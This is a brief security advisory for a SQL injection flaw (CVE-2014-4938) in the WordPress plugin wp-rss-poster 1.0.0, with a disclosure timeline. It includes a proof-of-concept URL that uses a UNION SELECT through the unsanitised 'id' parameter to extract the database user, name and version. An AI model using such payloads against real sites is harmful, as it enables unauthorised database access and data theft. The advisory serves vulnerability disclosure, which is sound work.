Plugin Details
Plugin Name: wp-plugin : wp-rss-poster
Effected Version : 1.0.0 (and most probably lower version's if any)
Vulnerability : Injection
Minimum Level of Access Required : Unauthenticated
CVE Number : CVE-2014-4938
Identified by : Anantshri
Disclosure Timeline
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December 23, 2013: Vendor Contacted
- May 28, 2014 : Public Disclosure
Technical Details
http://localhost/wp-admin/admin.php?page=wrp-add-new&id=2 union select 1,user(),database(),4,5,6,7,8,9,10,11,12,13,14,15,@@version,17,18
Here the parameter “id” is susceptible. The root cause is the usage of client input $_GET[‘id’] directly in the plugin.